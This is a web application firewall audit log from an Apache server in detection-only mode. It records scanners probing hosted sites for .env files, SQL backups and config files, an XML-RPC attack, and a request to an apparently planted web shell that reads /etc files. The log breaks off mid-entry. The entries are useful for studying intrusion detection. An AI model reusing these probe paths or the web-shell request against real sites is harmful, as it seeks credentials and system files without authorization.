proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039939279321 659523 (- - -) Stopwatch2: 1750039939279321 659523; combined=1647, p1=378, p2=1166, p3=0, p4=0, p5=102, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2463e03c-Z-- --5a93451f-A-- [16/Jun/2025:07:42:25.268487 +0530] aE99iAD0DwMUVKUIct3aaQAAAAI 185.177.72.210 44704 127.0.0.1 7081 --5a93451f-B-- GET /test/bdd/fixtures/adapter-rest/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5a93451f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e71cbd5a9aa76e0686f5f7861e5686d91750039945; expires=Mon, 16 Jun 2025 03:12:25 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5a93451f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/test/bdd/fixtures/adapter-rest/.env"] [unique_id "aE99iAD0DwMUVKUIct3aaQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039944500595 767957 (- - -) Stopwatch2: 1750039944500595 767957; combined=152277, p1=379, p2=1446, p3=0, p4=0, p5=75270, sr=103, sw=1, l=0, gc=75181 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5a93451f-Z-- --bbe32659-A-- [16/Jun/2025:07:42:35.607221 +0530] aE99kmCnKbldJKSM7awdTgAAAAc 185.177.72.210 57080 127.0.0.1 7081 --bbe32659-B-- GET /:5000/app/config/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --bbe32659-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b4579b4e65766deaa0f80380254bb77a1750039955; expires=Mon, 16 Jun 2025 03:12:35 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --bbe32659-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/app/config/.env"] [unique_id "aE99kmCnKbldJKSM7awdTgAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039954842021 765274 (- - -) Stopwatch2: 1750039954842021 765274; combined=1277, p1=345, p2=826, p3=0, p4=0, p5=105, sr=77, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bbe32659-Z-- --8e653b54-A-- [16/Jun/2025:07:42:35.808568 +0530] aE99klLyTgTLRBnIBDZgkAAAAAM 128.199.112.101 57074 127.0.0.1 7081 --8e653b54-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 489 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --8e653b54-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --8e653b54-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE99klLyTgTLRBnIBDZgkAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039954839581 969043 (- - -) Stopwatch2: 1750039954839581 969043; combined=2351, p1=387, p2=1567, p3=42, p4=64, p5=190, sr=110, sw=101, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8e653b54-Z-- --b5fdc011-A-- [16/Jun/2025:07:42:39.756467 +0530] aE99l7oFnONBt7jRcByaCQAAAA4 185.177.72.210 57290 127.0.0.1 7081 --b5fdc011-B-- GET /:8080/app/frontend/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b5fdc011-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8ce00a371fb05ae5d9c3ea47bc744e031750039959; expires=Mon, 16 Jun 2025 03:12:39 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b5fdc011-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/app/frontend/.env"] [unique_id "aE99l7oFnONBt7jRcByaCQAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039959088097 668458 (- - -) Stopwatch2: 1750039959088097 668458; combined=1690, p1=373, p2=1220, p3=0, p4=0, p5=96, sr=84, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b5fdc011-Z-- --748b3a4e-A-- [16/Jun/2025:07:42:41.843677 +0530] aE99mavO5IZc5ZzLe_3qGQAAAAA 185.177.72.210 60538 127.0.0.1 7081 --748b3a4e-B-- GET /.lighttpd.conf HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --748b3a4e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2778806f47fcb7d58710f7d8b0f8ecab1750039961; expires=Mon, 16 Jun 2025 03:12:41 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --748b3a4e-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".lighttpd.conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".lighttpd.conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/.lighttpd.conf"] [unique_id "aE99mavO5IZc5ZzLe_3qGQAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039961196478 647260 (- - -) Stopwatch2: 1750039961196478 647260; combined=1725, p1=318, p2=1313, p3=0, p4=0, p5=93, sr=87, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --748b3a4e-Z-- --023efd11-A-- [16/Jun/2025:07:42:42.912979 +0530] aE99mgD0DwMUVKUIct3acQAAAAI 185.177.72.210 60592 127.0.0.1 7081 --023efd11-B-- GET /:8181/app/konfig/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --023efd11-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=cb9a582d47a08195deb2e53881cd892e1750039962; expires=Mon, 16 Jun 2025 03:12:42 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --023efd11-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/app/konfig/.env"] [unique_id "aE99mgD0DwMUVKUIct3acQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039962178081 734967 (- - -) Stopwatch2: 1750039962178081 734967; combined=1857, p1=415, p2=1347, p3=0, p4=0, p5=95, sr=125, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --023efd11-Z-- --e31cfa59-A-- [16/Jun/2025:07:42:43.878523 +0530] aE99m0N_xpBAtP8SIP076wAAAAo 185.177.72.210 60618 127.0.0.1 7081 --e31cfa59-B-- GET /containers/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e31cfa59-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a4f5003d60836756e9dbd26762c501091750039963; expires=Mon, 16 Jun 2025 03:12:43 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e31cfa59-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/containers/.env"] [unique_id "aE99m0N_xpBAtP8SIP076wAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039963245695 632890 (- - -) Stopwatch2: 1750039963245695 632890; combined=1606, p1=340, p2=1173, p3=0, p4=0, p5=92, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e31cfa59-Z-- --df3d2d57-A-- [16/Jun/2025:07:42:50.600925 +0530] aE99okN_xpBAtP8SIP077wAAAAo 216.73.216.83 44630 127.0.0.1 7081 --df3d2d57-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fetc%2Fufw%2Fapplications.d&viewfile=%2F%2Fetc%2Fufw%2Fapplications.d%2Fapache2-utils.ufw.profile HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --df3d2d57-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 3097 Connection: close Content-Type: text/html; charset=UTF-8 --df3d2d57-H-- Message: Warning. Matched phrase ".profile" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: .profile found within ARGS:viewfile: /etc/ufw/applications.d/apache2-utils.ufw.profile"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase ".profile" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: .profile found within ARGS:viewfile: /etc/ufw/applications.d/apache2-utils.ufw.profile"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE99okN_xpBAtP8SIP077wAAAAo"] Apache-Handler: application/x-httpd-php Stopwatch: 1750039970596287 4701 (- - -) Stopwatch2: 1750039970596287 4701; combined=2346, p1=341, p2=1869, p3=38, p4=37, p5=61, sr=81, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --df3d2d57-Z-- --3b7bb42f-A-- [16/Jun/2025:07:42:56.446873 +0530] aE99p7oFnONBt7jRcByaHQAAAA4 185.177.72.210 45670 127.0.0.1 7081 --3b7bb42f-B-- GET /admin/config_backup.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3b7bb42f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2906cab32e8258208b22a09f3fa25cb71750039976; expires=Mon, 16 Jun 2025 03:12:56 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3b7bb42f-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/admin/config_backup.sql"] [unique_id "aE99p7oFnONBt7jRcByaHQAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039975790069 656865 (- - -) Stopwatch2: 1750039975790069 656865; combined=1640, p1=324, p2=1219, p3=0, p4=0, p5=97, sr=90, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3b7bb42f-Z-- --c72bf263-A-- [16/Jun/2025:07:43:02.737818 +0530] aE99rqvO5IZc5ZzLe_3qLwAAAAA 185.177.72.210 55226 127.0.0.1 7081 --c72bf263-B-- GET /ch8-mytodo/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c72bf263-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e439f7dc1e5dd19d91439522ed5d917b1750039982; expires=Mon, 16 Jun 2025 03:13:02 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c72bf263-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/ch8-mytodo/.env"] [unique_id "aE99rqvO5IZc5ZzLe_3qLwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039982081118 656775 (- - -) Stopwatch2: 1750039982081118 656775; combined=1819, p1=410, p2=1306, p3=0, p4=0, p5=102, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c72bf263-Z-- --e8e03164-A-- [16/Jun/2025:07:43:03.792937 +0530] aE99r2CnKbldJKSM7awdYgAAAAc 185.177.72.210 55250 127.0.0.1 7081 --e8e03164-B-- GET /web.Debug.config HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e8e03164-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=43094a14aaf30f8cf4edd2f7d1b913ae1750039983; expires=Mon, 16 Jun 2025 03:13:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e8e03164-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".debug.config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".debug.config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/web.Debug.config"] [unique_id "aE99r2CnKbldJKSM7awdYgAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039983073844 719160 (- - -) Stopwatch2: 1750039983073844 719160; combined=2089, p1=342, p2=1640, p3=0, p4=0, p5=106, sr=95, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e8e03164-Z-- --7a0f6443-A-- [16/Jun/2025:07:43:06.877342 +0530] aE99sgS4XDlCv3KXioQKdQAAAAY 185.177.72.210 55394 127.0.0.1 7081 --7a0f6443-B-- GET /:8888/crm/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7a0f6443-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b5141bf5a7fb545e7c0888e758f7e25f1750039986; expires=Mon, 16 Jun 2025 03:13:06 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7a0f6443-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/crm/.env"] [unique_id "aE99sgS4XDlCv3KXioQKdQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039986205586 671838 (- - -) Stopwatch2: 1750039986205586 671838; combined=1732, p1=366, p2=1245, p3=0, p4=0, p5=120, sr=87, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7a0f6443-Z-- --d76fdd37-A-- [16/Jun/2025:07:43:16.037631 +0530] aE99uwS4XDlCv3KXioQKeQAAAAY 185.177.72.210 46974 127.0.0.1 7081 --d76fdd37-B-- GET /:8443/app/frontend/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d76fdd37-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6c764095b0b3a4187cf4fb20029a2a7e1750039995; expires=Mon, 16 Jun 2025 03:13:15 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d76fdd37-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/app/frontend/.env"] [unique_id "aE99uwS4XDlCv3KXioQKeQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039995317474 720235 (- - -) Stopwatch2: 1750039995317474 720235; combined=2012, p1=432, p2=1438, p3=0, p4=0, p5=141, sr=99, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d76fdd37-Z-- --0aa7ee61-A-- [16/Jun/2025:07:43:21.270085 +0530] 